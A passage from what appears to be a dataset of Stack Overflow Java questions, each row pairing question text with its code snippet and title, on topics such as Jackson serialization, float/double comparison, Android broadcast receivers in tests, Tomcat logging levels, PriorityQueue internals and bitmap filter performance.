final OutputStream outputStream , final Object root ) { final ObjectMapper mapper = getConfiguredObjectMapper ( ) ; try { mapper.writeValue ( outputStream , root ) ; } catch ( final JsonGenerationException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( final JsonMappingException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( final IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } } }",System.out messed up after Jackson serialization +Java,I was looking at someone 's code and saw that he repeatedly declaredand later calledI actually thought this was kind of neat . Is this a common practice ? Was he just being fancy ?,PrintStream out = System.out ; out.println ( `` blah '' ) ;,"On system.out , clarification needed" +Java,"The following code uses the values of type float and double respectively.It displays the following output : After execution , the values of a and b are 99999.99 and 99999.9921875 respectively though a==b returns true.How does the comparison expression a==b return true ?",float a=99999.99F ; double b=a ; System.out.println ( `` a : `` +a ) ; System.out.println ( `` b : `` +b ) ; System.out.println ( `` a==b : `` + ( a==b ) ) ; a : 99999.99b : 99999.9921875a==b : true,Comparing floats and doubles in Java +Java,"I have a design problem . I have two data objects which are instances of say class A and class B.A and B do n't have any behavior - they are java beans with getters and setters . I have a Validation interface and 10 implementations of it defining different Validations.I would like to specify in my properties file which Validation applies to which class.Something like this : class A XYZValidation , ABCValidationclass B : ABCValidation , PPPValidation , etcHow do I write my Validation class so that it serves objects that are instances of Class A OR ClassB , or just about any other Class C that I might want to add in future ? > Just wanted to add this line to say thank you to all those who have responded to this post and to say that I am loving my time here on this amazing website . Stackoverflow rocks !",interface Validation { public boolean check ( ? ? ) ; },Design question - java - what is the best way to doing this ? +Java,"I want to test inside a unit test whether or not an alarm programmed using the AlarmManager is fired , and if so , if it is fired within the correct period.Here is the receiver class to be tested.I 've created it inside my test project . ( NOTE : it 's not registered in the manifest ) And here 's the unit test . The programReceiver method actually belongs to a class in the main project , but I 've included it inside the test so that you do n't need to read so much code.When I execute the test method , the receiver should have been registered dynamically in the setUp . Then I program the same alarm twice . My intent was to test that only the last alarm remained active , but I 'm having trouble getting the receiver called at all . The test fails as it is expected to be called once ( or at least a number of times > = 1 ) , but the counter in the mock receiver is 0 . I 've set a break point in the onReceive method and it is never hit . I 've also added logging and nothing shows in the logcat . So I 'm 100 % sure the receiver is not being called . I 've also tried increasing the sleep time in the thread , because setInexactRepeating fires very inexactly , but I can wait for ages and it is still not called.I 've also tried registering it in the test project 's manifest instead of programmatically and the results are the same.Why is the receiver not being called ? UPDATEI can confirm the AlarmManager is not the issue . Alarms are correctly registered according to adb dumpsys alarm.I 'm now trying to get the receiver to run by calling sendBroadcast , but I 'm in a dead end . The receiver just wo n't get called . I tried the main app context , the test case context , even ActivityInstrumentationTestCase2 . Tried also adding WakeLocks and nothing . There 's just no way of getting it called . I think this might be caused by some flags in the intent or intent filter ( android seems to be really picky with flags ) .","public class MockBroadcastReceiver extends BroadcastReceiver { private static int numTimesCalled = 0 ; MockBroadcastReceiver ( ) { numTimesCalled = 0 ; } @ Override public void onReceive ( Context context , Intent intent ) { numTimesCalled++ ; } public static int getNumTimesCalled ( ) { return numTimesCalled ; } public static void setNumTimesCalled ( int numTimesCalled ) { MockBroadcastReceiver.numTimesCalled = numTimesCalled ; } } public class ATest extends AndroidTestCase { MockBroadcastReceiver mockReceiver ; @ Override protected void setUp ( ) throws Exception { mockReceiver = new MockBroadcastReceiver ( ) ; getContext ( ) .registerReceiver ( mockReceiver , new IntentFilter ( ) ) ; } @ Override protected void tearDown ( ) { getContext ( ) .unregisterReceiver ( mockReceiver ) ; mockReceiver = null ; } public void test ( ) { //We 're going to program twice and check that only the last //programmed alarm should remain active . final Object flag = new Object ( ) ; MockBroadcastReceiver.setNumTimesCalled ( 0 ) ; new Thread ( ) { @ Override public void run ( ) { programReceiver ( getContext ( ) , MockBroadcastReceiver.class , 60000 , 60000 ) ; SystemClock.sleep ( 20000 ) ; programReceiver ( getContext ( ) , MockBroadcastReceiver.class , 60000 , 60000 ) ; SystemClock.sleep ( 90000 ) ; synchronized ( flag ) { flag.notifyAll ( ) ; } } } .start ( ) ; synchronized ( flag ) { try { flag.wait ( ) ; } catch ( InterruptedException e ) { } } assertEquals ( 1 , MockBroadcastReceiver.getNumTimesCalled ( ) ) ; //should have been called at least once , but its 0 . } private static void programReceiver ( Context context , Class < ? extends BroadcastReceiver > receiverClass , long initialDelay , long period ) { Intent intent = new Intent ( context , receiverClass ) ; PendingIntent pendingIntent = PendingIntent.getBroadcast ( context , 0 , intent , PendingIntent.FLAG_UPDATE_CURRENT ) ; AlarmManager alarmManager = ( AlarmManager ) context.getSystemService ( Context.ALARM_SERVICE ) ; alarmManager.cancel ( pendingIntent ) ; //Cancel any previous alarm alarmManager.setInexactRepeating ( AlarmManager.RTC_WAKEUP , System.currentTimeMillis ( ) + initialDelay , period , pendingIntent ) ; } }",Is it possible to register a receiver in a test case ? +Java,"Now a little background . I am using this class as a super class to a bunch of different classes which represent objects from an XML file . This is basically an implementation of an API wrapper and I am using this as an adapter between the parsed XML from an API and a database . Casting is delegated to the caller of the get method . If the subclasses need to do something when they are created or when they return a variable , they just call super and then manipulate what gets returned afterwards . eg . : The reason I feel like I should do this is so I do n't have to write getId , getName , getWhatever methods for every single subclass just because they have different attributes . It would save time and it is pretty self explanatory.Now this is obviously `` unJavalike '' and more like a ducktyped language way of doing things , but is there a logical reason why I should absolutely not be doing this ?","class MyThing { protected HashMap < String , Object > fields ; protected MyThing ( HashMap < String , Object > newFields ) { fields.putAll ( newFields ) ; } protected Object get ( String key ) { return fields.get ( key ) ; } } class Event extends MyThing { public Event ( HashMap < String , Object > newFields ) { super ( newFields ) ; // Removes anything after an @ symbol in returned data Pattern p = Pattern.compile ( `` \\ @ . * $ '' ) ; Matcher m = p.matcher ( ( String ) fields.get ( `` id '' ) ) ; boolean result = m.find ( ) ; if ( result ) fields.put ( `` id '' , m.replaceFirst ( `` '' ) ) ; } } public Object get ( String key ) { Object obj = super ( key ) ; if ( key.equals ( `` name '' ) ) { return `` Mr./Mrs. `` + ( ( String ) obj ) ; } } }","Using an untyped wrapper class around objects stored in XML , is this bad ?" +Java,"I have been reading Java collection API , the priority queue part , which is implemented by Josh Bloch and Doug Lea , the two maestros ' work.The Java PriorityQueue is implemented with array heap . The code snippets are here , from PriorityQueue.java , Line 600:What I am wondered is that , the moved element , which used to be at the bottom of the heap , should be a large one of the sub tree from i . The siftDown method is reasonable , after a siftDown , the smallest of the subtree will be lifted to the position i.The question is , if the i does not change , i.e . the moved is still there after siftDown , it seems to me that the sub tree has already been heapified , it does not need to be siftUp again . Why Josh lift them up again to the top ? Hope those who has read the code helps !","/** * Removes the ith element from queue . * * Normally this method leaves the elements at up to i-1 , * inclusive , untouched . Under these circumstances , it returns * null . Occasionally , in order to maintain the heap invariant , * it must swap a later element of the list with one earlier than * i . Under these circumstances , this method returns the element * that was previously at the end of the list and is now at some * position before i . This fact is used by iterator.remove so as to * avoid missing traversing elements . */private E removeAt ( int i ) { // assert i > = 0 & & i < size ; modCount++ ; int s = -- size ; if ( s == i ) // removed last element queue [ i ] = null ; else { E moved = ( E ) queue [ s ] ; queue [ s ] = null ; siftDown ( i , moved ) ; //the code I am asking is below : if ( queue [ i ] == moved ) { siftUp ( i , moved ) ; if ( queue [ i ] ! = moved ) return moved ; } } return null ; }","In Java Priority Queue implementation remove at method , why it does a sift up after a sift down ?" +Java,"Using IntelliJ 14.0.3 , my Android project was working until I built the project few times after each other and BANG , it does n't come up anymore and it throws an Runtime Exception : I 've searched SO and found some answers which were n't for IntelliJ and they are all for Eclipse and I 'm quite confused how to fix this and it 's driving me crazy.Any ideas ?","java.lang.RuntimeException : Unable to instantiate activity ComponentInfo { com.rahil.ecat/com.rahil.activity.Activity_Main } : java.lang.ClassNotFoundException : Did n't find class `` com.rahil.activity.Activity_Main '' on path : DexPathList [ [ zip file `` /data/app/com.rahil.ecat-1.apk '' ] , nativeLibraryDirectories= [ /data/app-lib/com.rahil.ecat-1 , /vendor/lib , /system/lib ] ]","IntelliJ Android Runtime Exception : ClassNotFound , Did n't find Class on path" +Java,"I 'm trying to quell the ridiculous amount of logging Tomcat 7 emits out of the box.For every single request , I get this amount of logging : I have set my $ CATALINA_HOME/conf/logging.properties to this , to no avail . ( I basically took the default logging properties , and switched everything to info . Also added org.apache.catalina.level = INFO ) Still I get FINE and FINER log messages.edit : more info . I 'm using tomcat inside of docker , this particular image.It is a very simple installation , no split base or anything : updateI switched to the log4j logger as explained here and here . ( one small error in the first link - tomcat-juli-adapter.jar goes in lib/ , not bin/ ) . That solved my problem , but not with the out-of-the-box tomcat logger . I 'll leave the question up , though .","FINE : Security checking request POST /myurlAug 28 , 2015 7:17:08 AM org.apache.catalina.authenticator.AuthenticatorBase invokeFINE : Not subject to any constraintAug 28 , 2015 7:17:08 AM org.apache.catalina.core.StandardWrapper allocateFINER : Returning non-STM instanceAug 28 , 2015 7:17:08 AM org.apache.catalina.authenticator.AuthenticatorBase invoke handlers = 1catalina.org.apache.juli.FileHandler , 2localhost.org.apache.juli.FileHandler , 3manager.org.apache.juli.FileHandler , 4host-manager.org.apache.juli.FileHandler , java.util.logging.ConsoleHandler.handlers = 1catalina.org.apache.juli.FileHandler , java.util.logging.ConsoleHandlerorg.apache.catalina.level = INFO1catalina.org.apache.juli.FileHandler.level = INFO1catalina.org.apache.juli.FileHandler.directory = $ { catalina.base } /logs1catalina.org.apache.juli.FileHandler.prefix = catalina.2localhost.org.apache.juli.FileHandler.level = INFO2localhost.org.apache.juli.FileHandler.directory = $ { catalina.base } /logs2localhost.org.apache.juli.FileHandler.prefix = localhost.3manager.org.apache.juli.FileHandler.level = INFO3manager.org.apache.juli.FileHandler.directory = $ { catalina.base } /logs3manager.org.apache.juli.FileHandler.prefix = manager.4host-manager.org.apache.juli.FileHandler.level = INFO4host-manager.org.apache.juli.FileHandler.directory = $ { catalina.base } /logs4host-manager.org.apache.juli.FileHandler.prefix = host-manager.java.util.logging.ConsoleHandler.level = INFOjava.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatterorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] .level = INFOorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] .handlers = 2localhost.org.apache.juli.FileHandlerorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] . [ /manager ] .level = INFOorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] . [ /manager ] .handlers = 3manager.org.apache.juli.FileHandlerorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] . [ /host-manager ] .level = INFOorg.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] . [ /host-manager ] .handlers = 4host-manager.org.apache.juli.FileHandler # For example , set the org.apache.catalina.util.LifecycleBase logger to log # each component that extends LifecycleBase changing state : # org.apache.catalina.util.LifecycleBase.level = INFO # To see debug messages in TldLocationsCache , uncomment the following line : # org.apache.jasper.compiler.TldLocationsCache.level = INFO ENV CATALINA_HOME /usr/local/tomcatENV PATH $ CATALINA_HOME/bin : $ PATHRUN mkdir -p `` $ CATALINA_HOME '' WORKDIR $ CATALINA_HOME","Tomcat 7 logging still emits FINE and FINER logging , despite INFO being set everywhere" +Java,"I have the following class that processes a Bitmap to place a fisheye distortion on it . I 've run my app through TraceView and found that virtually all the processing time is spent looping through the bitmap.One developer has suggested not using float as this will slow things down where graphics are concerned . Also using math.pow ( ) and ceil ( ) are not necessary ? At the moment to place the effect by looping through the entire bitmap takes around 42 seconds , yes seconds : ) I 've tried replacing the floats with ints and that has reduced the time to 37 secs , but the effect is no longer present on the bitmap.The arg k is originally a float and sets the level of distortion eg 0.0002F , if I pass an int the effect does n't work . Can anyone point me in the right direction on how to optimize this process ? Once I 've optimized it I 'd like to look into perhaps not looping through the entire bitmap and maybe putting a bounding box around the effect or using the algorithm below that determines whether a pixel is within the circle with radius 150 . [ update ] I 've created the arrays as instance variable and instantiated them in the Filter ( ) constructor . Is this what you meant ? The app was running at 84 secs ( mistake ) , but now runs at 69 secs . there seems to be no GC logged out either .","class Filters { float xscale ; float yscale ; float xshift ; float yshift ; int [ ] s ; private String TAG = `` Filters '' ; long getRadXStart = 0 ; long getRadXEnd = 0 ; long startSample = 0 ; long endSample = 0 ; public Filters ( ) { Log.e ( TAG , `` ***********inside filter constructor '' ) ; } public Bitmap barrel ( Bitmap input , float k ) { //Log.e ( TAG , `` ***********INSIDE BARREL METHOD `` ) ; float centerX=input.getWidth ( ) /2 ; //center of distortion float centerY=input.getHeight ( ) /2 ; int width = input.getWidth ( ) ; //image bounds int height = input.getHeight ( ) ; Bitmap dst = Bitmap.createBitmap ( width , height , input.getConfig ( ) ) ; //output pic // Log.e ( TAG , `` ***********dst bitmap created `` ) ; xshift = calc_shift ( 0 , centerX-1 , centerX , k ) ; float newcenterX = width-centerX ; float xshift_2 = calc_shift ( 0 , newcenterX-1 , newcenterX , k ) ; yshift = calc_shift ( 0 , centerY-1 , centerY , k ) ; float newcenterY = height-centerY ; float yshift_2 = calc_shift ( 0 , newcenterY-1 , newcenterY , k ) ; xscale = ( width-xshift-xshift_2 ) /width ; // Log.e ( TAG , `` ***********xscale = '' +xscale ) ; yscale = ( height-yshift-yshift_2 ) /height ; // Log.e ( TAG , `` ***********yscale = '' +yscale ) ; // Log.e ( TAG , `` ***********filter.barrel ( ) about to loop through bm '' ) ; /*for ( int j=0 ; j < dst.getHeight ( ) ; j++ ) { for ( int i=0 ; i < dst.getWidth ( ) ; i++ ) { float x = getRadialX ( ( float ) i , ( float ) j , centerX , centerY , k ) ; float y = getRadialY ( ( float ) i , ( float ) j , centerX , centerY , k ) ; sampleImage ( input , x , y ) ; int color = ( ( s [ 1 ] & 0x0ff ) < < 16 ) | ( ( s [ 2 ] & 0x0ff ) < < 8 ) | ( s [ 3 ] & 0x0ff ) ; // System.out.print ( i+ '' `` +j+ '' \\ '' ) ; dst.setPixel ( i , j , color ) ; } } */ int origPixel ; long startLoop = System.currentTimeMillis ( ) ; for ( int j=0 ; j < dst.getHeight ( ) ; j++ ) { for ( int i=0 ; i < dst.getWidth ( ) ; i++ ) { origPixel= input.getPixel ( i , j ) ; getRadXStart = System.currentTimeMillis ( ) ; float x = getRadialX ( ( float ) j , ( float ) i , centerX , centerY , k ) ; getRadXEnd= System.currentTimeMillis ( ) ; float y = getRadialY ( ( float ) j , ( float ) i , centerX , centerY , k ) ; sampleImage ( input , x , y ) ; int color = ( ( s [ 1 ] & 0x0ff ) < < 16 ) | ( ( s [ 2 ] & 0x0ff ) < < 8 ) | ( s [ 3 ] & 0x0ff ) ; // System.out.print ( i+ '' `` +j+ '' \\ '' ) ; if ( Math.sqrt ( Math.pow ( i - centerX , 2 ) + ( Math.pow ( j - centerY , 2 ) ) ) < = 150 ) { dst.setPixel ( i , j , color ) ; } else { dst.setPixel ( i , j , origPixel ) ; } } } long endLoop = System.currentTimeMillis ( ) ; long loopDuration = endLoop - startLoop ; long radXDuration = getRadXEnd - getRadXStart ; long sampleDur = endSample - startSample ; Log.e ( TAG , `` sample method took `` +sampleDur+ '' ms '' ) ; Log.e ( TAG , `` getRadialX took `` +radXDuration+ '' ms '' ) ; Log.e ( TAG , `` loop took `` +loopDuration+ '' ms '' ) ; // Log.e ( TAG , `` ***********filter.barrel ( ) looped through bm about to return dst bm '' ) ; return dst ; } void sampleImage ( Bitmap arr , float idx0 , float idx1 ) { startSample = System.currentTimeMillis ( ) ; s = new int [ 4 ] ; if ( idx0 < 0 || idx1 < 0 || idx0 > ( arr.getHeight ( ) -1 ) || idx1 > ( arr.getWidth ( ) -1 ) ) { s [ 0 ] =0 ; s [ 1 ] =0 ; s [ 2 ] =0 ; s [ 3 ] =0 ; return ; } float idx0_fl= ( float ) Math.floor ( idx0 ) ; float idx0_cl= ( float ) Math.ceil ( idx0 ) ; float idx1_fl= ( float ) Math.floor ( idx1 ) ; float idx1_cl= ( float ) Math.ceil ( idx1 ) ; int [ ] s1 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_fl ) ; int [ ] s2 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_cl ) ; int [ ] s3 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_cl ) ; int [ ] s4 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_fl ) ; float x = idx0 - idx0_fl ; float y = idx1 - idx1_fl ; s [ 0 ] = ( int ) ( s1 [ 0 ] * ( 1-x ) * ( 1-y ) + s2 [ 0 ] * ( 1-x ) *y + s3 [ 0 ] *x*y + s4 [ 0 ] *x* ( 1-y ) ) ; s [ 1 ] = ( int ) ( s1 [ 1 ] * ( 1-x ) * ( 1-y ) + s2 [ 1 ] * ( 1-x ) *y + s3 [ 1 ] *x*y + s4 [ 1 ] *x* ( 1-y ) ) ; s [ 2 ] = ( int ) ( s1 [ 2 ] * ( 1-x ) * ( 1-y ) + s2 [ 2 ] * ( 1-x ) *y + s3 [ 2 ] *x*y + s4 [ 2 ] *x* ( 1-y ) ) ; s [ 3 ] = ( int ) ( s1 [ 3 ] * ( 1-x ) * ( 1-y ) + s2 [ 3 ] * ( 1-x ) *y + s3 [ 3 ] *x*y + s4 [ 3 ] *x* ( 1-y ) ) ; endSample = System.currentTimeMillis ( ) ; } int [ ] getARGB ( Bitmap buf , int x , int y ) { int rgb = buf.getPixel ( y , x ) ; // Returns by default ARGB . int [ ] scalar = new int [ 4 ] ; scalar [ 0 ] = ( rgb > > > 24 ) & 0xFF ; scalar [ 1 ] = ( rgb > > > 16 ) & 0xFF ; scalar [ 2 ] = ( rgb > > > 8 ) & 0xFF ; scalar [ 3 ] = ( rgb > > > 0 ) & 0xFF ; return scalar ; } float getRadialX ( float x , float y , float cx , float cy , float k ) { x = ( x*xscale+xshift ) ; y = ( y*yscale+yshift ) ; float res = x+ ( ( x-cx ) *k* ( ( x-cx ) * ( x-cx ) + ( y-cy ) * ( y-cy ) ) ) ; return res ; } float getRadialY ( float x , float y , float cx , float cy , float k ) { x = ( x*xscale+xshift ) ; y = ( y*yscale+yshift ) ; float res = y+ ( ( y-cy ) *k* ( ( x-cx ) * ( x-cx ) + ( y-cy ) * ( y-cy ) ) ) ; return res ; } float thresh = 1 ; float calc_shift ( float x1 , float x2 , float cx , float k ) { float x3 = ( float ) ( x1+ ( x2-x1 ) *0.5 ) ; float res1 = x1+ ( ( x1-cx ) *k* ( ( x1-cx ) * ( x1-cx ) ) ) ; float res3 = x3+ ( ( x3-cx ) *k* ( ( x3-cx ) * ( x3-cx ) ) ) ; if ( res1 > -thresh & & res1 < thresh ) return x1 ; if ( res3 < 0 ) { return calc_shift ( x3 , x2 , cx , k ) ; } else { return calc_shift ( x1 , x3 , cx , k ) ; } } } // end of filters class class Filters { private float xscale ; private float yscale ; private float xshift ; private float yshift ; private int [ ] s ; private int [ ] scalar ; private int [ ] s1 ; private int [ ] s2 ; private int [ ] s3 ; private int [ ] s4 ; private String TAG = `` Filters '' ; long getRadXStart = 0 ; long getRadXEnd = 0 ; long startSample = 0 ; long endSample = 0 ; public Filters ( ) { Log.e ( TAG , `` ***********inside filter constructor '' ) ; s = new int [ 4 ] ; scalar = new int [ 4 ] ; s1 = new int [ 4 ] ; s2 = new int [ 4 ] ; s3 = new int [ 4 ] ; s4 = new int [ 4 ] ; } public Bitmap barrel ( Bitmap input , float k ) { //Log.e ( TAG , `` ***********INSIDE BARREL METHOD `` ) ; Debug.startMethodTracing ( `` barrel '' ) ; float centerX=input.getWidth ( ) /2 ; //center of distortion float centerY=input.getHeight ( ) /2 ; int width = input.getWidth ( ) ; //image bounds int height = input.getHeight ( ) ; Bitmap dst = Bitmap.createBitmap ( width , height , input.getConfig ( ) ) ; //output pic // Log.e ( TAG , `` ***********dst bitmap created `` ) ; xshift = calc_shift ( 0 , centerX-1 , centerX , k ) ; float newcenterX = width-centerX ; float xshift_2 = calc_shift ( 0 , newcenterX-1 , newcenterX , k ) ; yshift = calc_shift ( 0 , centerY-1 , centerY , k ) ; float newcenterY = height-centerY ; float yshift_2 = calc_shift ( 0 , newcenterY-1 , newcenterY , k ) ; xscale = ( width-xshift-xshift_2 ) /width ; // Log.e ( TAG , `` ***********xscale = '' +xscale ) ; yscale = ( height-yshift-yshift_2 ) /height ; // Log.e ( TAG , `` ***********yscale = '' +yscale ) ; // Log.e ( TAG , `` ***********filter.barrel ( ) about to loop through bm '' ) ; /*for ( int j=0 ; j < dst.getHeight ( ) ; j++ ) { for ( int i=0 ; i < dst.getWidth ( ) ; i++ ) { float x = getRadialX ( ( float ) i , ( float ) j , centerX , centerY , k ) ; float y = getRadialY ( ( float ) i , ( float ) j , centerX , centerY , k ) ; sampleImage ( input , x , y ) ; int color = ( ( s [ 1 ] & 0x0ff ) < < 16 ) | ( ( s [ 2 ] & 0x0ff ) < < 8 ) | ( s [ 3 ] & 0x0ff ) ; // System.out.print ( i+ '' `` +j+ '' \\ '' ) ; dst.setPixel ( i , j , color ) ; } } */ int origPixel ; long startLoop = System.currentTimeMillis ( ) ; for ( int j=0 ; j < dst.getHeight ( ) ; j++ ) { for ( int i=0 ; i < dst.getWidth ( ) ; i++ ) { origPixel= input.getPixel ( i , j ) ; getRadXStart = System.currentTimeMillis ( ) ; float x = getRadialX ( ( float ) j , ( float ) i , centerX , centerY , k ) ; getRadXEnd= System.currentTimeMillis ( ) ; float y = getRadialY ( ( float ) j , ( float ) i , centerX , centerY , k ) ; sampleImage ( input , x , y ) ; int color = ( ( s [ 1 ] & 0x0ff ) < < 16 ) | ( ( s [ 2 ] & 0x0ff ) < < 8 ) | ( s [ 3 ] & 0x0ff ) ; // System.out.print ( i+ '' `` +j+ '' \\ '' ) ; if ( Math.sqrt ( Math.pow ( i - centerX , 2 ) + ( Math.pow ( j - centerY , 2 ) ) ) < = 150 ) { dst.setPixel ( i , j , color ) ; } else { dst.setPixel ( i , j , origPixel ) ; } } } long endLoop = System.currentTimeMillis ( ) ; long loopDuration = endLoop - startLoop ; long radXDuration = getRadXEnd - getRadXStart ; long sampleDur = endSample - startSample ; Log.e ( TAG , `` sample method took `` +sampleDur+ '' ms '' ) ; Log.e ( TAG , `` getRadialX took `` +radXDuration+ '' ms '' ) ; Log.e ( TAG , `` loop took `` +loopDuration+ '' ms '' ) ; // Log.e ( TAG , `` ***********filter.barrel ( ) looped through bm about to return dst bm '' ) ; Debug.stopMethodTracing ( ) ; return dst ; } void sampleImage ( Bitmap arr , float idx0 , float idx1 ) { startSample = System.currentTimeMillis ( ) ; // s = new int [ 4 ] ; if ( idx0 < 0 || idx1 < 0 || idx0 > ( arr.getHeight ( ) -1 ) || idx1 > ( arr.getWidth ( ) -1 ) ) { s [ 0 ] =0 ; s [ 1 ] =0 ; s [ 2 ] =0 ; s [ 3 ] =0 ; return ; } float idx0_fl= ( float ) Math.floor ( idx0 ) ; float idx0_cl= ( float ) Math.ceil ( idx0 ) ; float idx1_fl= ( float ) Math.floor ( idx1 ) ; float idx1_cl= ( float ) Math.ceil ( idx1 ) ; /* int [ ] s1 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_fl ) ; int [ ] s2 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_cl ) ; int [ ] s3 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_cl ) ; int [ ] s4 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_fl ) ; */ s1 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_fl ) ; s2 = getARGB ( arr , ( int ) idx0_fl , ( int ) idx1_cl ) ; s3 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_cl ) ; s4 = getARGB ( arr , ( int ) idx0_cl , ( int ) idx1_fl ) ; float x = idx0 - idx0_fl ; float y = idx1 - idx1_fl ; s [ 0 ] = ( int ) ( s1 [ 0 ] * ( 1-x ) * ( 1-y ) + s2 [ 0 ] * ( 1-x ) *y + s3 [ 0 ] *x*y + s4 [ 0 ] *x* ( 1-y ) ) ; s [ 1 ] = ( int ) ( s1 [ 1 ] * ( 1-x ) * ( 1-y ) + s2 [ 1 ] * ( 1-x ) *y + s3 [ 1 ] *x*y + s4 [ 1 ] *x* ( 1-y ) ) ; s [ 2 ] = ( int ) ( s1 [ 2 ] * ( 1-x ) * ( 1-y ) + s2 [ 2 ] * ( 1-x ) *y + s3 [ 2 ] *x*y + s4 [ 2 ] *x* ( 1-y ) ) ; s [ 3 ] = ( int ) ( s1 [ 3 ] * ( 1-x ) * ( 1-y ) + s2 [ 3 ] * ( 1-x ) *y + s3 [ 3 ] *x*y + s4 [ 3 ] *x* ( 1-y ) ) ; endSample = System.currentTimeMillis ( ) ; } int [ ] getARGB ( Bitmap buf , int x , int y ) { int rgb = buf.getPixel ( y , x ) ; // Returns by default ARGB . // int [ ] scalar = new int [ 4 ] ; scalar [ 0 ] = ( rgb > > > 24 ) & 0xFF ; scalar [ 1 ] = ( rgb > > > 16 ) & 0xFF ; scalar [ 2 ] = ( rgb > > > 8 ) & 0xFF ; scalar [ 3 ] = ( rgb > > > 0 ) & 0xFF ; return scalar ; } float getRadialX ( float x , float y , float cx , float cy , float k ) { x = ( x*xscale+xshift ) ; y = ( y*yscale+yshift ) ; float res = x+ ( ( x-cx ) *k* ( ( x-cx ) * ( x-cx ) + ( y-cy ) * ( y-cy ) ) ) ; return res ; } float getRadialY ( float x , float y , float cx , float cy , float k ) { x = ( x*xscale+xshift ) ; y = ( y*yscale+yshift ) ; float res = y+ ( ( y-cy ) *k* ( ( x-cx ) * ( x-cx ) + ( y-cy ) * ( y-cy ) ) ) ; return res ; } float thresh = 1 ; float calc_shift ( float x1 , float x2 , float cx , float k ) { float x3 = ( float ) ( x1+ ( x2-x1 ) *0.5 ) ; float res1 = x1+ ( ( x1-cx ) *k* ( ( x1-cx ) * ( x1-cx ) ) ) ; float res3 = x3+ ( ( x3-cx ) *k* ( ( x3-cx ) * ( x3-cx ) ) ) ; if ( res1 > -thresh & & res1 < thresh ) return x1 ; if ( res3 < 0 ) { return calc_shift ( x3 , x2 , cx , k ) ; } else { return calc_shift ( x1 , x3 , cx , k ) ; } } } // end of filters class",How to optimize an image processing class +Java,"I am trying to share a link from my app with direct share . The share dialog must be like the image below with the most used contacts from messaging apps , like WhatsApp contacts . This is the Intent structure which I am using for share the link : And this is what my app shows : Any idea how to achieve that ?",Intent shareIntent = ShareCompat.IntentBuilder .from ( getActivity ( ) ) .setType ( `` text/plain '' ) .setText ( sTitle+ `` \n '' + urlPost ) .getIntent ( ) ; if ( shareIntent.resolveActivity ( getActivity ( ) .getPackageManager ( ) ) ! = null ) startActivity ( shareIntent ) ;,Android direct shared +Java,"This does n't compileThe variable e seems to end up as type Exception rather than the actual type - this seems logical because at compile type the compiler does n't know what kind is going to be thrown . However , is there a way to make this work without making A & B both derive from some common base class or implement a common interface ?",public class try { public static void main ( String [ ] args ) { try { if ( true ) throw new A ( ) ; if ( true ) throw new B ( ) ; } catch ( A | B e ) { e.doit ( ) ; } } } class A extends Exception { public void doit ( ) { } } class B extends Exception { public void doit ( ) { } } 18 : error : can not find symbol e.doit ( ) ; ^symbol : method doit ( ) location : variable e of type Exception,Catching Multiple Exceptions - calling methods not present in Exception on the caught exception +Java,I am currently reviewing a PullRequest that contains this : https : //github.com/criticalmaps/criticalmaps-android/pull/52somehow it feels wrong to me - would think that the vm is doing these optimisations - but can not really say for sure . Would love to get some input if this change can make sense - or a confirmation that this is done on VM-side .,"- for ( int i = 0 ; i < outgoingMassages.size ( ) ; i++ ) { + for ( int i = 0 , size = outgoingMassages.size ( ) ; i < size ; i++ )",Avoid indirection and redundant method calls +Java,"J. Bloch in his effective Java provides a several rules for the implementation for equals method . Here they are : • Reflexive : For any non-null reference value x , x.equals ( x ) mustreturn true.• Symmetric : For any non-null reference values x and y , x.equals ( y ) must return true if and only if y.equals ( x ) returns true.• Transitive : For any non-null reference values x , y , z , ifx.equals ( y ) returns true and y.equals ( z ) returns true , thenx.equals ( z ) must return true.• Consistent : For any non-null referencevalues x and y , multiple invocations of x.equals ( y ) consistentlyreturn true or consistently return false , provided no information usedin equals comparisons on the objects is modified.• For any non-nullreference value x , x.equals ( null ) must return false.But later in the book he mentioned so-called Liskov substitution principle : The Liskov substitution principle says that any important property ofa type should also hold for its subtypes , so that any method writtenfor the type should work equally well on its subtypesI do n't see how it ties to the equals contracts . Should we actually adhere to it while writing the equals implementation ? The question is about implementing the method for subclasses . Here is the example from the book : and the following implementation : Ok , violates and what then ? I do n't understand .","private static final Set < Point > unitCircle ; static { unitCircle = new HashSet < Point > ( ) ; unitCircle.add ( new Point ( 1 , 0 ) ) ; unitCircle.add ( new Point ( 0 , 1 ) ) ; unitCircle.add ( new Point ( -1 , 0 ) ) ; unitCircle.add ( new Point ( 0 , -1 ) ) ; } public static boolean onUnitCircle ( Point p ) { return unitCircle.contains ( p ) ; } public class CounterPoint extends Point { private static final AtomicInteger counter = new AtomicInteger ( ) ; public CounterPoint ( int x , int y ) { super ( x , y ) ; counter.incrementAndGet ( ) ; } public int numberCreated ( ) { return counter.get ( ) ; } } // Broken - violates Liskov substitution principle ( page 40 ) @ Override public boolean equals ( Object o ) { if ( o == null || o.getClass ( ) ! = getClass ( ) ) return false ; Point p = ( Point ) o ; return p.x == x & & p.y == y ; }",Understanding equals method +Java,"I have built various Test Automation frameworks using the Page Object Pattern with Java ( https : //code.google.com/p/selenium/wiki/PageObjects ) .Two of the big benefits I have found are:1 ) You can see what methods are available when you have an instance of a page ( e.g . typing homepage . will show me all the actions/methods you can call from the homepage ) 2 ) Because navigation methods ( e.g . goToHomepage ( ) ) return an instance of the subsequent page ( e.g . homepage ) , you can navigate through your tests simply by writing the code and seeing where it takes you.e.g.These benefits work perfectly with Java since the type of object ( or page in this case 